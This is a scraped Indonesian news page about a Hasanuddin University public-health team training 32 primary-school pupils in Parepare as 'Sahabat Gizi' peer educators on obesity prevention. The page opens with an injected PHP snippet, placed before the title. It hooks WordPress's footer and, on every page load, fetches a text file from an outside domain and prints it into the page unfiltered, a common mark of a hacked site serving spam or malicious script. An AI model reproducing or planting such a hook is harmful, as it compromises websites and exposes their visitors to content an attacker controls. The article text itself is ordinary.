function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Tim PPMU-Unhas Gelar Pelatihan Peer Group Educator “Sahabat Gizi” Dukung Pencegahan Kegemukan Anak di Parepare - Suluh Nusantara

Home / Uncategorized

Minggu, 3 Agustus 2025 - 17:09 WIB

Tim PPMU-Unhas Gelar Pelatihan Peer Group Educator “Sahabat Gizi” Dukung Pencegahan Kegemukan Anak di Parepare

Tim dosen Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) melalui Program Pengabdian kepada Masyarakat Universitas (PPMU) tahun 2025 menyelenggarakan Pelatihan Peer Group Educator dengan tema “Sahabat Gizi untuk Penguatan Pencegahan Kegemukan pada Siswa” pada tanggal 31 Juli hingga 1 Agustus 2025. Kegiatan ini berlangsung di SDN 3 Parepare dan SD Katolik Parepare dengan melibatkan masing-masing 16 siswa sebagai peer group educator, bersama guru pendamping dari kedua sekolah.

Kegiatan ini diketuai oleh Andi Imam Arundhana Thahir, S.Gz., MPH, Ph.D, dengan anggota tim yaitu Muhammad Rachmat, S.KM., M.Kes., Prof. Dr. M. Thahir Haning, M.Si., dan Rahayu Indriasari, S.KM., MPHCN, Ph.D. Selain tim dosen, pelatihan ini juga melibatkan mahasiswa S1 dan S2 Gizi FKM Unhas dalam persiapan dan pelaksanaan kegiatan. Mereka adalah Khadijah Nur Hasanah Assegaf, Isnawati Adib, Rifqah Fathi Amani, dan Nuurunnisaa Tanri Zahratutsaniy Ihsan.

Kegiatan ini bertujuan untuk meningkatkan pengetahuan dan kesadaran siswa tentang obesitas, termasuk penyebab, dampak, dan cara pencegahannya, serta mengembangkan keterampilan untuk membuat pilihan gaya hidup sehat dan mengelola berat badan yang seimbang. Hal ini sejalan dengan SDGs No. 3 tentang Sehat dan Sejahtera untuk semua,” jelas Andi Imam Arundhana.

Baca Juga  Mahasiswa KKN Profesi Kesehatan Unhas Angkatan 67 Laksanakan Program Cegah Stunting di TK Negeri Pembina Turatea, Jeneponto

Siswa juga dibekali keterampilan komunikasi efektif dalam menyampaikan pesan tentang gizi seimbang dan pencegahan kegemukan melalui penerapan prinsip-prinsip komunikasi persuasif, mendengarkan aktif, empati, dan penggunaan bahasa tubuh yang positif,” ujar Muhammad Rachmat.

Selama pelatihan, para peer group educator mendapatkan materi mengenai gizi seimbang, obesitas dan bahayanya, serta komunikasi efektif sebagai peer group educator. Siswa juga diperkenalkan pada permainan edukatif yang menyenangkan, seperti ular tangga “Kenali Obesitas” dan permainan “Dende”, sebagai sarana belajar sambil bermain untuk menyampaikan pesan gizi kepada teman sebayanya.

Untuk mendukung peran mereka, para peserta juga diberikan bahan ajar sebagai panduan dalam menyampaikan informasi gizi kepada teman-teman mereka di sekolah. Pelatihan ini secara langsung mendukung pencapaian Tujuan Pembangunan Berkelanjutan (SDGs) poin ke-3, yaitu Kehidupan Sehat dan Sejahtera, yang menekankan pentingnya mencegah penyakit tidak menular dan mempromosikan kesehatan mental dan fisik sejak usia dini.

Peserta merasa senang dan antusias mengikuti pelatihan ini. Mereka mengaku mendapatkan banyak pengetahuan baru tentang pola hidup sehat dan merasa lebih percaya diri untuk menyampaikan pesan gizi kepada teman-teman mereka di sekolah. Kepala SDN 3 Parepare, Dr. Faisal Hasyim, menyampaikan apresiasi atas pelaksanaan kegiatan ini dan berharap para peer group educator dapat menjadi teladan bagi teman-temannya dalam menerapkan pola hidup sehat.

Baca Juga  "Posko 24 PBL II FKM UNHAS Sosialisasikan Pentingnya Tablet Tambah Darah dengan Metode TGT di MTs Borongtala"

Kegiatan ini sangat bermanfaat karena anak-anak belajar langsung tentang gizi dan kesehatan dengan cara yang menyenangkan. Semoga ilmu yang diperoleh bisa disebarkan ke teman-teman lain,” ujar Dr. Faisal Hasyim. Senada dengan itu, Kepala SD Katolik Parepare, Ibu Tri Bonny Marthen, berharap kegiatan ini dapat dilaksanakan secara berkelanjutan sehingga budaya hidup sehat dapat tertanam kuat di sekolah.

Ketua tim, Andi Imam Arundhana Thahir, S.Gz., MPH, Ph.D, mengungkapkan harapannya agar para peer group educator tidak hanya menjadi pelopor gaya hidup sehat di sekolah, tetapi juga membawa pengaruh positif di lingkungan keluarga dan masyarakat. “Pencegahan kegemukan perlu dimulai sedini mungkin, dan anak-anak punya peran besar sebagai agen perubahan,” pungkasnya.

 

Share :

Baca Juga

Uncategorized

Edukasi dan Pemberian Buku Saku “Remaja Sehat Bebas Anemia dan KEK” Pada Siswi Madrasah Aliyah Allu

Uncategorized

Mahasiswa FKM Unhas PBL III Posko 5 Evaluasi Program Panduan Sehat Remaja Putri Melalui Pembagian Buku Saku TTD di SMPN 2 Bangkala Barat untuk Dukung SDGs

Uncategorized

FKM Unhas Dukung Penguatan Tata Kelola Program Kesehatan di Kabupaten Seram Bagian Timur

Uncategorized

Seminar Awal PBL 1 FKM Unhas Posko Kelurahan Bila

Uncategorized

SEMINAR AWAL POSKO 20 PBL III FKM UNHAS: KOMITMEN MAHASISWA DALAM EVALUASI INTERVENSI KESEHATAN DI DESA KAPITA

Uncategorized

Cegah Stunting, Posko 14 PBL 2 FKM Unhas Gelar Edukasi Pengetahuan Stunting Kepada Ibu Baduta di Desa Tombo-tombolo

Uncategorized

Program Studi Ilmu Gizi Unhas Adakan Workshop Penyusunan Proposal Kedaireka: Kolaborasi untuk Inovasi

Uncategorized

Gigi Kuat, Senyum Hebat: Penyuluhan Kesehatan gigi dan mulut di seluruh Sekolah dasar di Desa Balang Baru Kec. Tarowang Kab. Jeneponto